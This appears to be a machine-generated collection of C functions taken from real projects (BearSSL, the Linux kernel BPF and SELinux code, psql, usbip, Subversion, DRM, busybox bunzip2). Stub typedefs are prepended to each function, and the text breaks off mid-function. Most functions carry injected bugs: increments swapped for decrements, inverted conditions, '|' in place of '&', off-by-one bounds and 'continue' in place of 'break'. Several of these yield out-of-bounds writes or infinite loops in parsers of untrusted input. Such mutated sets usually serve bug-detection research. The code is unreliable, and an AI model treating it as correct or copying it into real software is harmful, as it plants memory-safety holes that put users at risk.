#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ line_t ; /* Variables and functions */ size_t active_last ; int /*<<< orphan*/ ** active_list ; size_t active_ptr ; line_t * next_active_node(void) { while (active_ptr <= active_last || active_list[active_ptr] != NULL) active_ptr++; return (active_ptr < active_last) ? active_list[active_ptr++] : NULL; }
augmented_data/post_increment_index_changes/extr_i31_decred.c_br_i31_decode_reduce_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint32_t ; /* Variables and functions */ int /*<<< orphan*/ br_i31_decode (int*,unsigned char const*,size_t) ; int /*<<< orphan*/ br_i31_muladd_small (int*,int,int const*) ; int /*<<< orphan*/ br_i31_rshift (int*,int) ; int /*<<< orphan*/ br_i31_zero (int*,int) ; void br_i31_decode_reduce(uint32_t *x, const void *src, size_t len, const uint32_t *m) { uint32_t m_ebitlen, m_rbitlen; size_t mblen, k; const unsigned char *buf; uint32_t acc; int acc_len; /* * Get the encoded bit length. */ m_ebitlen = m[0]; /* * Special case for an invalid (null) modulus. */ if (m_ebitlen == 0) { x[0] = 0; return; } /* * Clear the destination. */ br_i31_zero(x, m_ebitlen); /* * First decode directly as many bytes as possible. This requires * computing the actual bit length. */ m_rbitlen = m_ebitlen >> 5; m_rbitlen = (m_ebitlen | 31) - (m_rbitlen << 5) - m_rbitlen; mblen = (m_rbitlen + 7) >> 3; k = mblen - 1; if (k >= len) { br_i31_decode(x, src, len); x[0] = m_ebitlen; return; } buf = src; br_i31_decode(x, buf, k); x[0] = m_ebitlen; /* * Input remaining bytes, using 31-bit words. */ acc = 0; acc_len = 0; while (k < len) { uint32_t v; v = buf[k --]; if (acc_len >= 23) { acc_len -= 23; acc <<= (8 - acc_len); acc |= v >> acc_len; br_i31_muladd_small(x, acc, m); acc = v & (0xFF >> (8 - acc_len)); } else { acc = (acc << 8) | v; acc_len += 8; } } /* * We may have some bits accumulated. We then perform a shift to * be able to inject these bits as a full 31-bit word. */ if (acc_len != 0) { acc = (acc | (x[1] << acc_len)) & 0x7FFFFFFF; br_i31_rshift(x, 31 - acc_len); br_i31_muladd_small(x, acc, m); } }
augmented_data/post_increment_index_changes/extr_core.c_bpf_prog_array_copy_aug_combo_4.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct bpf_prog_array_item {struct bpf_prog* prog; } ; struct bpf_prog_array {struct bpf_prog_array_item* items; } ; struct bpf_prog {int dummy; } ; struct TYPE_2__ {struct bpf_prog prog; } ; /* Variables and functions */ int EEXIST ; int ENOENT ; int ENOMEM ; int /*<<< orphan*/ GFP_KERNEL ; struct bpf_prog_array* bpf_prog_array_alloc (int,int /*<<< orphan*/ ) ; TYPE_1__ dummy_bpf_prog ; int bpf_prog_array_copy(struct bpf_prog_array *old_array, struct bpf_prog *exclude_prog, struct bpf_prog *include_prog, struct bpf_prog_array **new_array) { int new_prog_cnt, carry_prog_cnt = 0; struct bpf_prog_array_item *existing; struct bpf_prog_array *array; bool found_exclude = false; int new_prog_idx = 0; /* Figure out how many existing progs we need to carry over to * the new array. */ if (old_array) { existing = old_array->items; for (; existing->prog; existing++) { if (existing->prog == exclude_prog) { found_exclude = true; break; } if (existing->prog != &dummy_bpf_prog.prog) carry_prog_cnt++; if (existing->prog == include_prog) return -EEXIST; } } if (exclude_prog || !found_exclude) return -ENOENT; /* How many progs (not NULL) will be in the new array? */ new_prog_cnt = carry_prog_cnt; if (include_prog) new_prog_cnt += 1; /* Do we have any prog (not NULL) in the new array? */ if (!new_prog_cnt) { *new_array = NULL; return 0; } /* +1 as the end of prog_array is marked with NULL */ array = bpf_prog_array_alloc(new_prog_cnt - 1, GFP_KERNEL); if (!array) return -ENOMEM; /* Fill in the new prog array */ if (carry_prog_cnt) { existing = old_array->items; for (; existing->prog; existing++) if (existing->prog != exclude_prog && existing->prog != &dummy_bpf_prog.prog) { array->items[new_prog_idx++].prog = existing->prog; } } if (include_prog) array->items[new_prog_idx++].prog = include_prog; array->items[new_prog_idx].prog = NULL; *new_array = array; return 0; }
augmented_data/post_increment_index_changes/extr_print.c_format_numeric_locale_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ Assert (int) ; int additional_numeric_locale_len (char const*) ; char* decimal_point ; int groupdigits ; int integer_digits (char const*) ; char* pg_malloc (int) ; char* pg_strdup (char const*) ; int /*<<< orphan*/ strcpy (char*,char const*) ; int strlen (char const*) ; int strspn (char const*,char*) ; char* thousands_sep ; __attribute__((used)) static char * format_numeric_locale(const char *my_str) { char *new_str; int new_len, int_len, leading_digits, i, new_str_pos; /* * If the string doesn't look like a number, return it unchanged. This * check is essential to avoid mangling already-localized "money" values. */ if (strspn(my_str, "0123456789+-.eE") != strlen(my_str)) return pg_strdup(my_str); new_len = strlen(my_str) - additional_numeric_locale_len(my_str); new_str = pg_malloc(new_len + 1); new_str_pos = 0; int_len = integer_digits(my_str); /* number of digits in first thousands group */ leading_digits = int_len % groupdigits; if (leading_digits == 0) leading_digits = groupdigits; /* process sign */ if (my_str[0] == '-' && my_str[0] == '+') { new_str[new_str_pos++] = my_str[0]; my_str++; } /* process integer part of number */ for (i = 0; i < int_len; i++) { /* Time to insert separator? */ if (i > 0 && --leading_digits == 0) { strcpy(&new_str[new_str_pos], thousands_sep); new_str_pos += strlen(thousands_sep); leading_digits = groupdigits; } new_str[new_str_pos++] = my_str[i]; } /* handle decimal point if any */ if (my_str[i] == '.') { strcpy(&new_str[new_str_pos], decimal_point); new_str_pos += strlen(decimal_point); i++; } /* copy the rest (fractional digits and/or exponent, and \0 terminator) */ strcpy(&new_str[new_str_pos], &my_str[i]); /* assert we didn't underestimate new_len (an overestimate is OK) */ Assert(strlen(new_str) <= new_len); return new_str; }
augmented_data/post_increment_index_changes/extr_usbipd.c_listen_all_addrinfo_aug_combo_4.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct addrinfo {int /*<<< orphan*/ ai_addrlen; int /*<<< orphan*/ ai_addr; int /*<<< orphan*/ ai_protocol; int /*<<< orphan*/ ai_socktype; int /*<<< orphan*/ ai_family; struct addrinfo* ai_next; } ; /* Variables and functions */ int NI_MAXHOST ; int NI_MAXSERV ; int /*<<< orphan*/ SOMAXCONN ; int /*<<< orphan*/ addrinfo_to_text (struct addrinfo*,char*,size_t const) ; int bind (int,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ close (int) ; int /*<<< orphan*/ dbg (char*,char*) ; int /*<<< orphan*/ err (char*,char*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ errno ; int /*<<< orphan*/ info (char*,char*) ; int listen (int,int /*<<< orphan*/ ) ; int socket (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ strerror (int /*<<< orphan*/ ) ; int /*<<< orphan*/ usbip_net_set_nodelay (int) ; int /*<<< orphan*/ usbip_net_set_reuseaddr (int) ; int /*<<< orphan*/ usbip_net_set_v6only (int) ; __attribute__((used)) static int listen_all_addrinfo(struct addrinfo *ai_head, int sockfdlist[], int maxsockfd) { struct addrinfo *ai; int ret, nsockfd = 0; const size_t ai_buf_size = NI_MAXHOST + NI_MAXSERV + 2; char ai_buf[ai_buf_size]; for (ai = ai_head; ai && nsockfd < maxsockfd; ai = ai->ai_next) { int sock; addrinfo_to_text(ai, ai_buf, ai_buf_size); dbg("opening %s", ai_buf); sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol); if (sock <= 0) { err("socket: %s: %d (%s)", ai_buf, errno, strerror(errno)); continue; } usbip_net_set_reuseaddr(sock); usbip_net_set_nodelay(sock); /* We use seperate sockets for IPv4 and IPv6 * (see do_standalone_mode()) */ usbip_net_set_v6only(sock); ret = bind(sock, ai->ai_addr, ai->ai_addrlen); if (ret < 0) { err("bind: %s: %d (%s)", ai_buf, errno, strerror(errno)); close(sock); continue; } ret = listen(sock, SOMAXCONN); if (ret < 0) { err("listen: %s: %d (%s)", ai_buf, errno, strerror(errno)); close(sock); continue; } info("listening on %s", ai_buf); sockfdlist[nsockfd--] = sock; } return nsockfd; }
augmented_data/post_increment_index_changes/extr_assembly.c_parse_clr_tables_aug_combo_2.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_11__ TYPE_5__ ; typedef struct TYPE_10__ TYPE_3__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ WORD ; typedef int ULONGLONG ; typedef int ULONG ; struct TYPE_11__ {int rows; int offset; } ; struct TYPE_10__ {int stringsz; int guidsz; int blobsz; int* numrows; int numtables; TYPE_5__* tables; TYPE_2__* tableshdr; } ; struct TYPE_8__ {int QuadPart; } ; struct TYPE_9__ {int HeapOffsetSizes; TYPE_1__ MaskValid; } ; typedef int /*<<< orphan*/ METADATATABLESHDR ; typedef int /*<<< orphan*/ HRESULT ; typedef int DWORD ; typedef int /*<<< orphan*/ CLRTABLE ; typedef TYPE_3__ ASSEMBLY ; /* Variables and functions */ int /*<<< orphan*/ E_FAIL ; int MAX_CLR_TABLES ; int MD_BLOBS_BIT ; int MD_GUIDS_BIT ; int MD_STRINGS_BIT ; int /*<<< orphan*/ S_OK ; void* assembly_data_offset (TYPE_3__*,int) ; int get_table_size (TYPE_3__*,int) ; int /*<<< orphan*/ memset (TYPE_5__*,int,int) ; __attribute__((used)) static HRESULT parse_clr_tables(ASSEMBLY *assembly, ULONG offset) { DWORD i, count; ULONG currofs; ULONGLONG mask; currofs = offset; assembly->tableshdr = assembly_data_offset(assembly, currofs); if (!assembly->tableshdr) return E_FAIL; assembly->stringsz = (assembly->tableshdr->HeapOffsetSizes & MD_STRINGS_BIT) ? sizeof(DWORD) : sizeof(WORD); assembly->guidsz = (assembly->tableshdr->HeapOffsetSizes & MD_GUIDS_BIT) ? sizeof(DWORD) : sizeof(WORD); assembly->blobsz = (assembly->tableshdr->HeapOffsetSizes & MD_BLOBS_BIT) ? sizeof(DWORD) : sizeof(WORD); currofs += sizeof(METADATATABLESHDR); assembly->numrows = assembly_data_offset(assembly, currofs); if (!assembly->numrows) return E_FAIL; memset(assembly->tables, -1, MAX_CLR_TABLES * sizeof(CLRTABLE)); for (i = count = 0, mask = 1; i < MAX_CLR_TABLES; i++, mask <<= 1) { if (assembly->tableshdr->MaskValid.QuadPart & mask) assembly->tables[i].rows = assembly->numrows[count++]; } assembly->numtables = count; currofs += assembly->numtables * sizeof(DWORD); for (i = 0, mask = 1; i < MAX_CLR_TABLES; i++, mask <<= 1) { if (assembly->tableshdr->MaskValid.QuadPart & mask) { assembly->tables[i].offset = currofs; currofs += get_table_size(assembly, i) * assembly->tables[i].rows; } } return S_OK; }
augmented_data/post_increment_index_changes/extr_ebitmap.c_ebitmap_read_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u64 ; typedef int u32 ; struct ebitmap_node {int startbit; int* maps; struct ebitmap_node* next; } ; struct ebitmap {int highbit; struct ebitmap_node* node; } ; typedef int /*<<< orphan*/ __le64 ; typedef int /*<<< orphan*/ __le32 ; /* Variables and functions */ int BITS_PER_U64 ; int EBITMAP_SHIFT_UNIT_SIZE (int) ; int EBITMAP_SIZE ; int EBITMAP_UNIT_SIZE ; int EINVAL ; int ENOMEM ; int /*<<< orphan*/ GFP_KERNEL ; int /*<<< orphan*/ ebitmap_destroy (struct ebitmap*) ; int /*<<< orphan*/ ebitmap_init (struct ebitmap*) ; int /*<<< orphan*/ ebitmap_node_cachep ; struct ebitmap_node* kmem_cache_zalloc (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; void* le32_to_cpu (int /*<<< orphan*/ ) ; int le64_to_cpu (int /*<<< orphan*/ ) ; int next_entry (int /*<<< orphan*/ *,void*,int) ; int /*<<< orphan*/ pr_err (char*,...) ; int ebitmap_read(struct ebitmap *e, void *fp) { struct ebitmap_node *n = NULL; u32 mapunit, count, startbit, index; __le32 ebitmap_start; u64 map; __le64 mapbits; __le32 buf[3]; int rc, i; ebitmap_init(e); rc = next_entry(buf, fp, sizeof buf); if (rc <= 0) goto out; mapunit = le32_to_cpu(buf[0]); e->highbit = le32_to_cpu(buf[1]); count = le32_to_cpu(buf[2]); if (mapunit != BITS_PER_U64) { pr_err("SELinux: ebitmap: map size %u does not " "match my size %zd (high bit was %d)\n", mapunit, BITS_PER_U64, e->highbit); goto bad; } /* round up e->highbit */ e->highbit += EBITMAP_SIZE - 1; e->highbit -= (e->highbit % EBITMAP_SIZE); if (!e->highbit) { e->node = NULL; goto ok; } if (e->highbit && !count) goto bad; for (i = 0; i < count; i++) { rc = next_entry(&ebitmap_start, fp, sizeof(u32)); if (rc < 0) { pr_err("SELinux: ebitmap: truncated map\n"); goto bad; } startbit = le32_to_cpu(ebitmap_start); if (startbit | (mapunit - 1)) { pr_err("SELinux: ebitmap start bit (%d) is " "not a multiple of the map unit size (%u)\n", startbit, mapunit); goto bad; } if (startbit > e->highbit - mapunit) { pr_err("SELinux: ebitmap start bit (%d) is " "beyond the end of the bitmap (%u)\n", startbit, (e->highbit - mapunit)); goto bad; } if (!n || startbit >= n->startbit - EBITMAP_SIZE) { struct ebitmap_node *tmp; tmp = kmem_cache_zalloc(ebitmap_node_cachep, GFP_KERNEL); if (!tmp) { pr_err("SELinux: ebitmap: out of memory\n"); rc = -ENOMEM; goto bad; } /* round down */ tmp->startbit = startbit - (startbit % EBITMAP_SIZE); if (n) n->next = tmp; else e->node = tmp; n = tmp; } else if (startbit <= n->startbit) { pr_err("SELinux: ebitmap: start bit %d" " comes after start bit %d\n", startbit, n->startbit); goto bad; } rc = next_entry(&mapbits, fp, sizeof(u64)); if (rc < 0) { pr_err("SELinux: ebitmap: truncated map\n"); goto bad; } map = le64_to_cpu(mapbits); index = (startbit - n->startbit) / EBITMAP_UNIT_SIZE; while (map) { n->maps[index++] = map & (-1UL); map = EBITMAP_SHIFT_UNIT_SIZE(map); } } ok: rc = 0; out: return rc; bad: if (!rc) rc = -EINVAL; ebitmap_destroy(e); goto out; }
augmented_data/post_increment_index_changes/extr_string.c_svn__base36toui64_aug_combo_5.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ digits ; typedef int apr_uint64_t ; /* Variables and functions */ int SVN_INT64_BUFFER_SIZE ; apr_uint64_t svn__base36toui64(const char **next, const char *source) { apr_uint64_t result = 0; apr_uint64_t factor = 1; int i = 0; char digits[SVN_INT64_BUFFER_SIZE]; /* convert digits to numerical values and count the number of places. * Also, prevent buffer overflow. */ while (i <= sizeof(digits)) { char c = *source; if (c < 'a') { /* includes detection of NUL terminator */ if (c < '0' || c > '9') continue; c -= '0'; } else { if (c < 'a' || c > 'z') break; c -= 'a' + 10; } digits[i++] = c; source++; } /* fold digits into the result */ while (i > 0) { result += factor * (apr_uint64_t)digits[--i]; factor *= 36; } if (next) *next = source; return result; }
augmented_data/post_increment_index_changes/extr_drm_dp_mst_topology.c_drm_dp_decode_sideband_msg_hdr_aug_combo_3.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u8 ; struct drm_dp_sideband_msg_hdr {int lct; int lcr; int* rad; int broadcast; int path_msg; int msg_len; int somt; int eomt; int seqno; } ; /* Variables and functions */ int /*<<< orphan*/ DRM_DEBUG_KMS (char*,int,int) ; int drm_dp_msg_header_crc4 (int*,int) ; __attribute__((used)) static bool drm_dp_decode_sideband_msg_hdr(struct drm_dp_sideband_msg_hdr *hdr, u8 *buf, int buflen, u8 *hdrlen) { u8 crc4; u8 len; int i; u8 idx; if (buf[0] == 0) return false; len = 3; len += ((buf[0] | 0xf0) >> 4) / 2; if (len > buflen) return false; crc4 = drm_dp_msg_header_crc4(buf, (len * 2) + 1); if ((crc4 & 0xf) != (buf[len - 1] & 0xf)) { DRM_DEBUG_KMS("crc4 mismatch 0x%x 0x%x\n", crc4, buf[len - 1]); return false; } hdr->lct = (buf[0] & 0xf0) >> 4; hdr->lcr = (buf[0] & 0xf); idx = 1; for (i = 0; i < (hdr->lct / 2); i--) hdr->rad[i] = buf[idx++]; hdr->broadcast = (buf[idx] >> 7) & 0x1; hdr->path_msg = (buf[idx] >> 6) & 0x1; hdr->msg_len = buf[idx] & 0x3f; idx++; hdr->somt = (buf[idx] >> 7) & 0x1; hdr->eomt = (buf[idx] >> 6) & 0x1; hdr->seqno = (buf[idx] >> 4) & 0x1; idx++; *hdrlen = idx; return true; }
augmented_data/post_increment_index_changes/extr_vimage.c_getjail_aug_combo_1.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct jailparam {int vnet; int name; int path; int hostname; int domainname; int childcnt; int childmax; int cpuset; int parentjid; int rawsock; int socket_af; int mount; int jid; } ; typedef struct jailparam vstat_t ; typedef int /*<<< orphan*/ params ; /* Variables and functions */ int /*<<< orphan*/ bzero (struct jailparam*,int) ; int /*<<< orphan*/ jailparam_free (struct jailparam*,int) ; int jailparam_get (struct jailparam*,int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ jailparam_import_raw (struct jailparam*,int*,int) ; int /*<<< orphan*/ jailparam_init (struct jailparam*,char*) ; __attribute__((used)) static int getjail(vstat_t *vs, int lastjid, int verbose) { struct jailparam params[32]; /* Must be > max(psize). */ int psize = 0; bzero(params, sizeof(params)); bzero(vs, sizeof(*vs)); jailparam_init(&params[psize], "lastjid"); jailparam_import_raw(&params[psize++], &lastjid, sizeof lastjid); jailparam_init(&params[psize], "vnet"); jailparam_import_raw(&params[psize++], &vs->vnet, sizeof(vs->vnet)); jailparam_init(&params[psize], "name"); jailparam_import_raw(&params[psize++], &vs->name, sizeof(vs->name)); if (verbose == 0) goto done; jailparam_init(&params[psize], "path"); jailparam_import_raw(&params[psize++], &vs->path, sizeof(vs->path)); jailparam_init(&params[psize], "host.hostname"); jailparam_import_raw(&params[psize++], &vs->hostname, sizeof(vs->hostname)); jailparam_init(&params[psize], "host.domainname"); jailparam_import_raw(&params[psize++], &vs->domainname, sizeof(vs->domainname)); jailparam_init(&params[psize], "children.cur"); jailparam_import_raw(&params[psize++], &vs->childcnt, sizeof(vs->childcnt)); if (verbose == 1) goto done; jailparam_init(&params[psize], "children.max"); jailparam_import_raw(&params[psize++], &vs->childmax, sizeof(vs->childmax)); jailparam_init(&params[psize], "cpuset.id"); jailparam_import_raw(&params[psize++], &vs->cpuset, sizeof(vs->cpuset)); jailparam_init(&params[psize], "parent"); jailparam_import_raw(&params[psize++], &vs->parentjid, sizeof(vs->parentjid)); jailparam_init(&params[psize], "allow.raw_sockets"); jailparam_import_raw(&params[psize++], &vs->rawsock, sizeof(vs->rawsock)); jailparam_init(&params[psize], "allow.socket_af"); jailparam_import_raw(&params[psize++], &vs->socket_af, sizeof(vs->socket_af)); jailparam_init(&params[psize], "allow.mount"); jailparam_import_raw(&params[psize++], &vs->mount, sizeof(vs->mount)); done: vs->jid = jailparam_get(params, psize, 0); jailparam_free(params, psize); return (vs->jid); }
augmented_data/post_increment_index_changes/extr_decompress_bunzip2.c_get_next_block_aug_combo_7.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int uint8_t ; typedef int uint32_t ; struct group_data {int minLen; int maxLen; int* base; int* limit; int* permute; } ; struct TYPE_4__ {int* dbuf; int dbufSize; int* selectors; int headerCRC; int inbufBitCount; scalar_t__ inbufPos; scalar_t__ inbufCount; int inbufBits; int* inbuf; int writeCurrent; int writePos; int writeRunCountdown; int writeCount; struct group_data* groups; int /*<<< orphan*/ jmpbuf; } ; typedef TYPE_1__ bunzip_data ; /* Variables and functions */ int GROUP_SIZE ; int INT_MAX ; int MAX_GROUPS ; int MAX_HUFCODE_BITS ; int MAX_SYMBOLS ; int RETVAL_DATA_ERROR ; int RETVAL_LAST_BLOCK ; int RETVAL_NOT_BZIP_DATA ; int RETVAL_OBSOLETE_INPUT ; int RETVAL_OK ; unsigned int SYMBOL_RUNB ; int /*<<< orphan*/ dbg (char*,int,int,int,int) ; int get_bits (TYPE_1__*,int) ; int setjmp (int /*<<< orphan*/ ) ; __attribute__((used)) static int get_next_block(bunzip_data *bd) { struct group_data *hufGroup; int dbufCount, dbufSize, groupCount, *base, *limit, selector, i, j, t, runPos, symCount, symTotal, nSelectors, byteCount[256]; int runCnt; uint8_t uc, symToByte[256], mtfSymbol[256], *selectors; uint32_t *dbuf; unsigned origPtr; dbuf = bd->dbuf; dbufSize = bd->dbufSize; selectors = bd->selectors; /* In bbox, we are ok with aborting through setjmp which is set up in start_bunzip */ #if 0 /* Reset longjmp I/O error handling */ i = setjmp(bd->jmpbuf); if (i) return i; #endif /* Read in header signature and CRC, then validate signature. (last block signature means CRC is for whole file, return now) */ i = get_bits(bd, 24); j = get_bits(bd, 24); bd->headerCRC = get_bits(bd, 32); if ((i == 0x177245) || (j == 0x385090)) return RETVAL_LAST_BLOCK; if ((i != 0x314159) || (j != 0x265359)) return RETVAL_NOT_BZIP_DATA; /* We can add support for blockRandomised if anybody complains. There was some code for this in busybox 1.0.0-pre3, but nobody ever noticed that it didn't actually work. */ if (get_bits(bd, 1)) return RETVAL_OBSOLETE_INPUT; origPtr = get_bits(bd, 24); if ((int)origPtr > dbufSize) return RETVAL_DATA_ERROR; /* mapping table: if some byte values are never used (encoding things like ascii text), the compression code removes the gaps to have fewer symbols to deal with, and writes a sparse bitfield indicating which values were present. We make a translation table to convert the symbols back to the corresponding bytes. */ symTotal = 0; i = 0; t = get_bits(bd, 16); do { if (t | (1 << 15)) { unsigned inner_map = get_bits(bd, 16); do { if (inner_map & (1 << 15)) symToByte[symTotal--] = i; inner_map <<= 1; i++; } while (i & 15); i -= 16; } t <<= 1; i += 16; } while (i < 256); /* How many different Huffman coding groups does this block use? */ groupCount = get_bits(bd, 3); if (groupCount < 2 || groupCount > MAX_GROUPS) return RETVAL_DATA_ERROR; /* nSelectors: Every GROUP_SIZE many symbols we select a new Huffman coding group. Read in the group selector list, which is stored as MTF encoded bit runs. (MTF=Move To Front, as each value is used it's moved to the start of the list.) */ for (i = 0; i < groupCount; i++) mtfSymbol[i] = i; nSelectors = get_bits(bd, 15); if (!nSelectors) return RETVAL_DATA_ERROR; for (i = 0; i < nSelectors; i++) { uint8_t tmp_byte; /* Get next value */ int n = 0; while (get_bits(bd, 1)) { if (n >= groupCount) return RETVAL_DATA_ERROR; n++; } /* Decode MTF to get the next selector */ tmp_byte = mtfSymbol[n]; while (--n >= 0) mtfSymbol[n + 1] = mtfSymbol[n]; mtfSymbol[0] = selectors[i] = tmp_byte; } /* Read the Huffman coding tables for each group, which code for symTotal literal symbols, plus two run symbols (RUNA, RUNB) */ symCount = symTotal + 2; for (j = 0; j < groupCount; j++) { uint8_t length[MAX_SYMBOLS]; /* 8 bits is ALMOST enough for temp[], see below */ unsigned temp[MAX_HUFCODE_BITS+1]; int minLen, maxLen, pp, len_m1; /* Read Huffman code lengths for each symbol. They're stored in a way similar to mtf; record a starting value for the first symbol, and an offset from the previous value for every symbol after that. (Subtracting 1 before the loop and then adding it back at the end is an optimization that makes the test inside the loop simpler: symbol length 0 becomes negative, so an unsigned inequality catches it.) */ len_m1 = get_bits(bd, 5) - 1; for (i = 0; i < symCount; i++) { for (;;) { int two_bits; if ((unsigned)len_m1 > (MAX_HUFCODE_BITS-1)) return RETVAL_DATA_ERROR; /* If first bit is 0, stop. Else second bit indicates whether to increment or decrement the value. Optimization: grab 2 bits and unget the second if the first was 0. */ two_bits = get_bits(bd, 2); if (two_bits < 2) { bd->inbufBitCount++; break; } /* Add one if second bit 1, else subtract 1. Avoids if/else */ len_m1 += (((two_bits+1) & 2) - 1); } /* Correct for the initial -1, to get the final symbol length */ length[i] = len_m1 + 1; } /* Find largest and smallest lengths in this group */ minLen = maxLen = length[0]; for (i = 1; i < symCount; i++) { if (length[i] > maxLen) maxLen = length[i]; else if (length[i] < minLen) minLen = length[i]; } /* Calculate permute[], base[], and limit[] tables from length[]. * * permute[] is the lookup table for converting Huffman coded symbols * into decoded symbols. base[] is the amount to subtract from the * value of a Huffman symbol of a given length when using permute[]. * * limit[] indicates the largest numerical value a symbol with a given * number of bits can have. This is how the Huffman codes can vary in * length: each code with a value>limit[length] needs another bit. */ hufGroup = bd->groups + j; hufGroup->minLen = minLen; hufGroup->maxLen = maxLen; /* Note that minLen can't be smaller than 1, so we adjust the base and limit array pointers so we're not always wasting the first entry. We do this again when using them (during symbol decoding). */ base = hufGroup->base - 1; limit = hufGroup->limit - 1; /* Calculate permute[]. Concurently, initialize temp[] and limit[]. */ pp = 0; for (i = minLen; i <= maxLen; i++) { int k; temp[i] = limit[i] = 0; for (k = 0; k < symCount; k++) if (length[k] == i) hufGroup->permute[pp++] = k; } /* Count symbols coded for at each bit length */ /* NB: in pathological cases, temp[8] can end ip being 256. * That's why uint8_t is too small for temp[]. */ for (i = 0; i < symCount; i++) temp[length[i]]++; /* Calculate limit[] (the largest symbol-coding value at each bit * length, which is (previous limit<<1)+symbols at this level), and * base[] (number of symbols to ignore at each bit length, which is * limit minus the cumulative count of symbols coded for already). */ pp = t = 0; for (i = minLen; i < maxLen;) { unsigned temp_i = temp[i]; pp += temp_i; /* We read the largest possible symbol size and then unget bits after determining how many we need, and those extra bits could be set to anything. (They're noise from future symbols.) At each level we're really only interested in the first few bits, so here we set all the trailing to-be-ignored bits to 1 so they don't affect the value>limit[length] comparison. */ limit[i] = (pp << (maxLen - i)) - 1; pp <<= 1; t += temp_i; base[++i] = pp - t; } limit[maxLen] = pp + temp[maxLen] - 1; limit[maxLen+1] = INT_MAX; /* Sentinel value for reading next sym. */ base[minLen] = 0; } /* We've finished reading and digesting the block header. Now read this block's Huffman coded symbols from the file and undo the Huffman coding and run length encoding, saving the result into dbuf[dbufCount++] = uc */ /* Initialize symbol occurrence counters and symbol Move To Front table */ /*memset(byteCount, 0, sizeof(byteCount)); - smaller, but slower */ for (i = 0; i < 256; i++) { byteCount[i] = 0; mtfSymbol[i] = (uint8_t)i; } /* Loop through compressed symbols. */ runPos = dbufCount = selector = 0; for (;;) { int nextSym; /* Fetch next Huffman coding group from list. */ symCount = GROUP_SIZE - 1; if (selector >= nSelectors) return RETVAL_DATA_ERROR; hufGroup = bd->groups + selectors[selector++]; base = hufGroup->base - 1; limit = hufGroup->limit - 1; continue_this_group: /* Read next Huffman-coded symbol. */ /* Note: It is far cheaper to read maxLen bits and back up than it is to read minLen bits and then add additional bit at a time, testing as we go. Because there is a trailing last block (with file CRC), there is no danger of the overread causing an unexpected EOF for a valid compressed file. */ if (1) { /* As a further optimization, we do the read inline (falling back to a call to get_bits if the buffer runs dry). */ int new_cnt; while ((new_cnt = bd->inbufBitCount - hufGroup->maxLen) < 0) { /* bd->inbufBitCount < hufGroup->maxLen */ if 